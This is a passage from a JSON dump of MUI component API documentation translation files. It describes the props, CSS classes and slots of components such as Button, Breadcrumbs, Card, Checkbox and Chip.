root.\"\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/box/box.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"component\": {\n      \"description\": \"The component used for the root node. Either a string to use a HTML element or a component.\"\n    },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    }\n  },\n  \"classDescriptions\": { \"root\": { \"description\": \"Styles applied to the root element.\" } }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/breadcrumbs/breadcrumbs.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"component\": {\n      \"description\": \"The component used for the root node. Either a string to use a HTML element or a component.\"\n    },\n    \"expandText\": {\n      \"description\": \"Override the default label for the expand button.<br>For localization purposes, you can use the provided <a href=\\\"https://mui.com/material-ui/guides/localization/\\\">translations</a>.\"\n    },\n    \"itemsAfterCollapse\": {\n      \"description\": \"If max items is exceeded, the number of items to show after the ellipsis.\"\n    },\n    \"itemsBeforeCollapse\": {\n      \"description\": \"If max items is exceeded, the number of items to show before the ellipsis.\"\n    },\n    \"maxItems\": {\n      \"description\": \"Specifies the maximum number of breadcrumbs to display. When there are more than the maximum number, only the first <code>itemsBeforeCollapse</code> and last <code>itemsAfterCollapse</code> will be shown, with an ellipsis in between.\"\n    },\n    \"separator\": { \"description\": \"Custom separator node.\" },\n    \"slotProps\": { \"description\": \"The props used for each slot inside the Breadcumb.\" },\n    \"slots\": {\n      \"description\": \"The components used for each slot inside the Breadcumb. Either a string to use a HTML element or a component.\"\n    },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"li\": { \"description\": \"Styles applied to {{nodeName}}.\", \"nodeName\": \"the li element\" },\n    \"ol\": { \"description\": \"Styles applied to {{nodeName}}.\", \"nodeName\": \"the ol element\" },\n    \"root\": { \"description\": \"Styles applied to the root element.\" },\n    \"separator\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the separator element\"\n    }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/button/button.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"color\": {\n      \"description\": \"The color of the component. It supports both default and custom theme colors, which can be added as shown in the <a href=\\\"https://mui.com/material-ui/customization/palette/#custom-colors\\\">palette customization guide</a>.\"\n    },\n    \"component\": {\n      \"description\": \"The component used for the root node. Either a string to use a HTML element or a component.\"\n    },\n    \"disabled\": { \"description\": \"If <code>true</code>, the component is disabled.\" },\n    \"disableElevation\": { \"description\": \"If <code>true</code>, no elevation is used.\" },\n    \"disableFocusRipple\": {\n      \"description\": \"If <code>true</code>, the  keyboard focus ripple is disabled.\"\n    },\n    \"disableRipple\": {\n      \"description\": \"If <code>true</code>, the ripple effect is disabled.<br>⚠️ Without a ripple there is no styling for :focus-visible by default. Be sure to highlight the element by applying separate styles with the <code>.Mui-focusVisible</code> class.\"\n    },\n    \"endIcon\": { \"description\": \"Element placed after the children.\" },\n    \"fullWidth\": {\n      \"description\": \"If <code>true</code>, the button will take up the full width of its container.\"\n    },\n    \"href\": {\n      \"description\": \"The URL to link to when the button is clicked. If defined, an <code>a</code> element will be used as the root node.\"\n    },\n    \"loading\": {\n      \"description\": \"If <code>true</code>, the loading indicator is visible and the button is disabled. If <code>true | false</code>, the loading wrapper is always rendered before the children to prevent <a href=\\\"https://github.com/mui/material-ui/issues/27853\\\">Google Translation Crash</a>.\"\n    },\n    \"loadingIndicator\": {\n      \"description\": \"Element placed before the children if the button is in loading state. The node should contain an element with <code>role=&quot;progressbar&quot;</code> with an accessible name. By default, it renders a <code>CircularProgress</code> that is labeled by the button itself.\"\n    },\n    \"loadingPosition\": {\n      \"description\": \"The loading indicator can be positioned on the start, end, or the center of the button.\"\n    },\n    \"size\": {\n      \"description\": \"The size of the component. <code>small</code> is equivalent to the dense button styling.\"\n    },\n    \"startIcon\": { \"description\": \"Element placed before the children.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"variant\": { \"description\": \"The variant to use.\" }\n  },\n  \"classDescriptions\": {\n    \"colorError\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"error\\\"</code>\"\n    },\n    \"colorInfo\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"info\\\"</code>\"\n    },\n    \"colorInherit\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"inherit\\\"</code>\"\n    },\n    \"colorPrimary\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"primary\\\"</code>\"\n    },\n    \"colorSecondary\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"secondary\\\"</code>\"\n    },\n    \"colorSuccess\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"success\\\"</code>\"\n    },\n    \"colorWarning\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"warning\\\"</code>\"\n    },\n    \"contained\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"contained\\\"</code>\"\n    },\n    \"disabled\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>disabled={true}</code>\"\n    },\n    \"disableElevation\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>disableElevation={true}</code>\"\n    },\n    \"endIcon\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the endIcon element\",\n      \"conditions\": \"supplied\"\n    },\n    \"focusVisible\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the ButtonBase root element\",\n      \"conditions\": \"the button is keyboard focused\"\n    },\n    \"fullWidth\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>fullWidth={true}</code>\"\n    },\n    \"icon\": { \"description\": \"Styles applied to the icon element if supplied\" },\n    \"loading\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>loading={true}</code>\"\n    },\n    \"loadingIconPlaceholder\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the loadingIconPlaceholder element\"\n    },\n    \"loadingIndicator\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the loadingIndicator element\"\n    },\n    \"loadingPositionCenter\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>loadingPosition=\\\"center\\\"</code>\"\n    },\n    \"loadingPositionEnd\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>loadingPosition=\\\"end\\\"</code>\"\n    },\n    \"loadingPositionStart\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>loadingPosition=\\\"start\\\"</code>\"\n    },\n    \"loadingWrapper\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the loadingWrapper element\"\n    },\n    \"outlined\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"outlined\\\"</code>\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" },\n    \"sizeLarge\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>size=\\\"large\\\"</code>\"\n    },\n    \"sizeMedium\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>size=\\\"medium\\\"</code>\"\n    },\n    \"sizeSmall\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>size=\\\"small\\\"</code>\"\n    },\n    \"startIcon\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the startIcon element\",\n      \"conditions\": \"supplied\"\n    },\n    \"text\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"text\\\"</code>\"\n    }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/button-base/button-base.json",
    "content": "{\n  \"componentDescription\": \"`ButtonBase` contains as few styles as possible.\\nIt aims to be a simple building block for creating a button.\\nIt contains a load of style reset and some focus/ripple logic.\",\n  \"propDescriptions\": {\n    \"action\": {\n      \"description\": \"A ref for imperative actions. It currently only supports <code>focusVisible()</code> action.\"\n    },\n    \"centerRipple\": {\n      \"description\": \"If <code>true</code>, the ripples are centered. They won&#39;t start at the cursor interaction position.\"\n    },\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"component\": {\n      \"description\": \"The component used for the root node. Either a string to use a HTML element or a component.\",\n      \"requiresRef\": true\n    },\n    \"disabled\": { \"description\": \"If <code>true</code>, the component is disabled.\" },\n    \"disableRipple\": {\n      \"description\": \"If <code>true</code>, the ripple effect is disabled.<br>⚠️ Without a ripple there is no styling for :focus-visible by default. Be sure to highlight the element by applying separate styles with the <code>.Mui-focusVisible</code> class.\"\n    },\n    \"disableTouchRipple\": {\n      \"description\": \"If <code>true</code>, the touch ripple effect is disabled.\"\n    },\n    \"focusRipple\": {\n      \"description\": \"If <code>true</code>, the base button will have a keyboard focus ripple.\"\n    },\n    \"focusVisibleClassName\": {\n      \"description\": \"This prop can help identify which element has keyboard focus. The class name will be applied when the element gains the focus through keyboard interaction. It&#39;s a polyfill for the <a href=\\\"https://drafts.csswg.org/selectors-4/#the-focus-visible-pseudo\\\">CSS :focus-visible selector</a>. The rationale for using this feature <a href=\\\"https://github.com/WICG/focus-visible/blob/HEAD/explainer.md\\\">is explained here</a>. A <a href=\\\"https://github.com/WICG/focus-visible\\\">polyfill can be used</a> to apply a <code>focus-visible</code> class to other components if needed.\"\n    },\n    \"LinkComponent\": {\n      \"description\": \"The component used to render a link when the <code>href</code> prop is provided.\"\n    },\n    \"nativeButton\": {\n      \"description\": \"Whether the custom component is expected to render a native <code>&lt;button&gt;</code> element when passing a React component to the <code>component</code> or <code>slots</code> prop.\"\n    },\n    \"onFocusVisible\": {\n      \"description\": \"Callback fired when the component is focused with a keyboard. We trigger a <code>onFocus</code> callback too.\"\n    },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"TouchRippleProps\": { \"description\": \"Props applied to the <code>TouchRipple</code> element.\" },\n    \"touchRippleRef\": {\n      \"description\": \"A ref that points to the <code>TouchRipple</code> element.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"disabled\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>disabled={true}</code>\"\n    },\n    \"focusVisible\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"keyboard focused\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/button-group/button-group.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"color\": {\n      \"description\": \"The color of the component. It supports both default and custom theme colors, which can be added as shown in the <a href=\\\"https://mui.com/material-ui/customization/palette/#custom-colors\\\">palette customization guide</a>.\"\n    },\n    \"component\": {\n      \"description\": \"The component used for the root node. Either a string to use a HTML element or a component.\"\n    },\n    \"disabled\": { \"description\": \"If <code>true</code>, the component is disabled.\" },\n    \"disableElevation\": { \"description\": \"If <code>true</code>, no elevation is used.\" },\n    \"disableFocusRipple\": {\n      \"description\": \"If <code>true</code>, the button keyboard focus ripple is disabled.\"\n    },\n    \"disableRipple\": {\n      \"description\": \"If <code>true</code>, the button ripple effect is disabled.\"\n    },\n    \"fullWidth\": {\n      \"description\": \"If <code>true</code>, the buttons will take up the full width of its container.\"\n    },\n    \"orientation\": { \"description\": \"The component orientation (layout flow direction).\" },\n    \"size\": {\n      \"description\": \"The size of the component. <code>small</code> is equivalent to the dense button styling.\"\n    },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"variant\": { \"description\": \"The variant to use.\" }\n  },\n  \"classDescriptions\": {\n    \"colorPrimary\": {\n      \"description\": \"Styles applied to the root element if <code>color=&quot;primary&quot;</code>\"\n    },\n    \"colorSecondary\": {\n      \"description\": \"Styles applied to the root element if <code>color=&quot;secondary&quot;</code>\"\n    },\n    \"contained\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"contained\\\"</code>\"\n    },\n    \"disabled\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the child elements\",\n      \"conditions\": \"<code>disabled={true}</code>\"\n    },\n    \"disableElevation\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>disableElevation={true}</code>\"\n    },\n    \"firstButton\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the first button in the button group\"\n    },\n    \"fullWidth\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>fullWidth={true}</code>\"\n    },\n    \"grouped\": { \"description\": \"Styles applied to {{nodeName}}.\", \"nodeName\": \"the children\" },\n    \"horizontal\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>orientation=\\\"horizontal\\\"</code>\"\n    },\n    \"lastButton\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the last button in the button group\"\n    },\n    \"middleButton\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"buttons in the middle of the button group\"\n    },\n    \"outlined\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"outlined\\\"</code>\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" },\n    \"text\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"text\\\"</code>\"\n    },\n    \"vertical\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>orientation=\\\"vertical\\\"</code>\"\n    }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/card/card.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"raised\": { \"description\": \"If <code>true</code>, the card will use raised styling.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    }\n  },\n  \"classDescriptions\": { \"root\": { \"description\": \"Styles applied to the root element.\" } }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/card-action-area/card-action-area.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"slotProps\": { \"description\": \"The props used for each slot inside.\" },\n    \"slots\": { \"description\": \"The components used for each slot inside.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"focusVisible\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the ButtonBase root element\",\n      \"conditions\": \"the action area is keyboard focused\"\n    }\n  },\n  \"slotDescriptions\": {\n    \"focusHighlight\": \"The component that renders the focusHighlight.\",\n    \"root\": \"The component that renders the root.\"\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/card-actions/card-actions.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"disableSpacing\": {\n      \"description\": \"If <code>true</code>, the actions do not have additional margin.\"\n    },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"root\": { \"description\": \"Styles applied to the root element.\" },\n    \"spacing\": {\n      \"description\": \"Styles applied to {{nodeName}} unless {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>disableSpacing={true}</code>\"\n    }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/card-content/card-content.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"component\": {\n      \"description\": \"The component used for the root node. Either a string to use a HTML element or a component.\"\n    },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    }\n  },\n  \"classDescriptions\": { \"root\": { \"description\": \"Styles applied to the root element.\" } }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/card-header/card-header.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"action\": { \"description\": \"The action to display in the card header.\" },\n    \"avatar\": { \"description\": \"The Avatar element to display.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"component\": {\n      \"description\": \"The component used for the root node. Either a string to use a HTML element or a component.\"\n    },\n    \"disableTypography\": {\n      \"description\": \"If <code>true</code>, <code>subheader</code> and <code>title</code> won&#39;t be wrapped by a Typography component. This can be useful to render an alternative Typography variant by wrapping the <code>title</code> text, and optional <code>subheader</code> text with the Typography component.\"\n    },\n    \"slotProps\": { \"description\": \"The props used for each slot inside.\" },\n    \"slots\": { \"description\": \"The components used for each slot inside.\" },\n    \"subheader\": { \"description\": \"The content of the component.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"title\": { \"description\": \"The content of the component.\" }\n  },\n  \"classDescriptions\": {},\n  \"slotDescriptions\": {\n    \"action\": \"The component that renders the action slot.\",\n    \"avatar\": \"The component that renders the avatar slot.\",\n    \"content\": \"The component that renders the content slot.\",\n    \"root\": \"The component that renders the root slot.\",\n    \"subheader\": \"The component that renders the subheader slot (as long as disableTypography is not <code>true</code>). <a href=\\\"https://mui.com/material-ui/api/typography/#props\\\">Follow this guide</a> to learn more about the requirements for this component.\",\n    \"title\": \"The component that renders the title slot (as long as disableTypography is not <code>true</code>). <a href=\\\"https://mui.com/material-ui/api/typography/#props\\\">Follow this guide</a> to learn more about the requirements for this component.\"\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/card-media/card-media.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"component\": {\n      \"description\": \"The component used for the root node. Either a string to use a HTML element or a component.\"\n    },\n    \"image\": {\n      \"description\": \"Image to be displayed as a background image. Either <code>image</code> or <code>src</code> prop must be specified. Note that caller must specify height otherwise the image will not be visible.\"\n    },\n    \"src\": {\n      \"description\": \"An alias for <code>image</code> property. Available only with media components. Media components: <code>video</code>, <code>audio</code>, <code>picture</code>, <code>iframe</code>, <code>img</code>.\"\n    },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"img\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>component=\\\"picture or img\\\"</code>\"\n    },\n    \"media\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>component=\\\"video, audio, picture, iframe, or img\\\"</code>\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/checkbox/checkbox.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"checked\": { \"description\": \"If <code>true</code>, the component is checked.\" },\n    \"checkedIcon\": { \"description\": \"The icon to display when the component is checked.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"color\": {\n      \"description\": \"The color of the component. It supports both default and custom theme colors, which can be added as shown in the <a href=\\\"https://mui.com/material-ui/customization/palette/#custom-colors\\\">palette customization guide</a>.\"\n    },\n    \"defaultChecked\": {\n      \"description\": \"The default checked state. Use when the component is not controlled.\"\n    },\n    \"disabled\": { \"description\": \"If <code>true</code>, the component is disabled.\" },\n    \"disableRipple\": { \"description\": \"If <code>true</code>, the ripple effect is disabled.\" },\n    \"icon\": { \"description\": \"The icon to display when the component is unchecked.\" },\n    \"id\": { \"description\": \"The id of the <code>input</code> element.\" },\n    \"indeterminate\": {\n      \"description\": \"If <code>true</code>, the component appears indeterminate. This does not set the native input element to indeterminate due to inconsistent behavior across browsers. However, we set a <code>data-indeterminate</code> attribute on the <code>input</code>.\"\n    },\n    \"indeterminateIcon\": {\n      \"description\": \"The icon to display when the component is indeterminate.\"\n    },\n    \"onChange\": {\n      \"description\": \"Callback fired when the state is changed.\",\n      \"typeDescriptions\": {\n        \"event\": {\n          \"name\": \"event\",\n          \"description\": \"The event source of the callback. You can pull out the new checked state by accessing <code>event.target.checked</code> (boolean).\"\n        }\n      }\n    },\n    \"required\": {\n      \"description\": \"If <code>true</code>, the <code>input</code> element is required.\"\n    },\n    \"size\": {\n      \"description\": \"The size of the component. <code>small</code> is equivalent to the dense checkbox styling.\"\n    },\n    \"slotProps\": { \"description\": \"The props used for each slot inside.\" },\n    \"slots\": { \"description\": \"The components used for each slot inside.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"value\": {\n      \"description\": \"The value of the component. The DOM API casts this to a string. The browser uses &quot;on&quot; as the default value.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"checked\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>checked={true}</code>\"\n    },\n    \"colorPrimary\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"primary\\\"</code>\"\n    },\n    \"colorSecondary\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"secondary\\\"</code>\"\n    },\n    \"disabled\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>disabled={true}</code>\"\n    },\n    \"indeterminate\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>indeterminate={true}</code>\"\n    },\n    \"sizeMedium\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>size=\\\"medium\\\"</code>\"\n    },\n    \"sizeSmall\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>size=\\\"small\\\"</code>\"\n    }\n  },\n  \"slotDescriptions\": {\n    \"input\": \"The component that renders the input slot.\",\n    \"root\": \"The component that renders the root slot.\"\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/chip/chip.json",
    "content": "{\n  \"componentDescription\": \"Chips represent complex entities in small blocks, such as a contact.\",\n  \"propDescriptions\": {\n    \"avatar\": { \"description\": \"The Avatar element to display.\" },\n    \"children\": {\n      \"description\": \"This prop isn&#39;t supported. Use the <code>component</code> prop if you need to change the children structure.\"\n    },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"clickable\": {\n      \"description\": \"If <code>true</code>, the chip will appear clickable, and will raise when pressed, even if the onClick prop is not defined. If <code>false</code>, the chip will not appear clickable, even if onClick prop is defined. This can be used, for example, along with the component prop to indicate an anchor Chip is clickable. Note: this controls the UI and does not affect the onClick event.\"\n    },\n    \"color\": {\n      \"description\": \"The color of the component. It supports both default and custom theme colors, which can be added as shown in the <a href=\\\"https://mui.com/material-ui/customization/palette/#custom-colors\\\">palette customization guide</a>.\"\n    },\n    \"component\": {\n      \"description\": \"The component used for the root node. Either a string to use a HTML element or a component.\"\n    },\n    \"deleteIcon\": {\n      \"description\": \"Override the default delete icon element. Shown only if <code>onDelete</code> is set.\"\n    },\n    \"disabled\": { \"description\": \"If <code>true</code>, the component is disabled.\" },\n    \"icon\": { \"description\": \"Icon element.\" },\n    \"label\": { \"description\": \"The content of the component.\" },\n    \"nativeButton\": {\n      \"description\": \"If <code>true</code>, the component is expected to resolve to a native <code>&lt;button&gt;</code> element. When omitted, custom components inherit the default button semantics of the current wrapper. Set to <code>true</code> when a custom component resolves to a native <code>&lt;button&gt;</code>, or <code>false</code> when it resolves to a non-button host.\"\n    },\n    \"onDelete\": {\n      \"description\": \"Callback fired when the delete icon is clicked. If set, the delete icon will be shown.\"\n    },\n    \"size\": { \"description\": \"The size of the component.\" },\n    \"skipFocusWhenDisabled\": {\n      \"description\": \"If <code>true</code>, allows the disabled chip to escape focus. If <code>false</code>, allows the disabled chip to receive focus.\"\n    },\n    \"slotProps\": { \"description\": \"The props used for each slot inside.\" },\n    \"slots\": { \"description\": \"The components used for each slot inside.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"variant\": { \"description\": \"The variant to use.\" }\n  },\n  \"classDescriptions\": {\n    \"avatar\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the avatar element\"\n    },\n    \"clickable\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>onClick</code> is defined or <code>clickable={true}</code>\"\n    },\n    \"colorDefault\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"default\\\"</code>\"\n    },\n    \"colorError\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"error\\\"</code>\"\n    },\n    \"colorInfo\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"info\\\"</code>\"\n    },\n    \"colorPrimary\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"primary\\\"</code>\"\n    },\n    \"colorSecondary\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"secondary\\\"</code>\"\n    },\n    \"colorSuccess\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"success\\\"</code>\"\n    },\n    \"colorWarning\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>color=\\\"warning\\\"</code>\"\n    },\n    \"deletable\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>onDelete</code> is defined\"\n  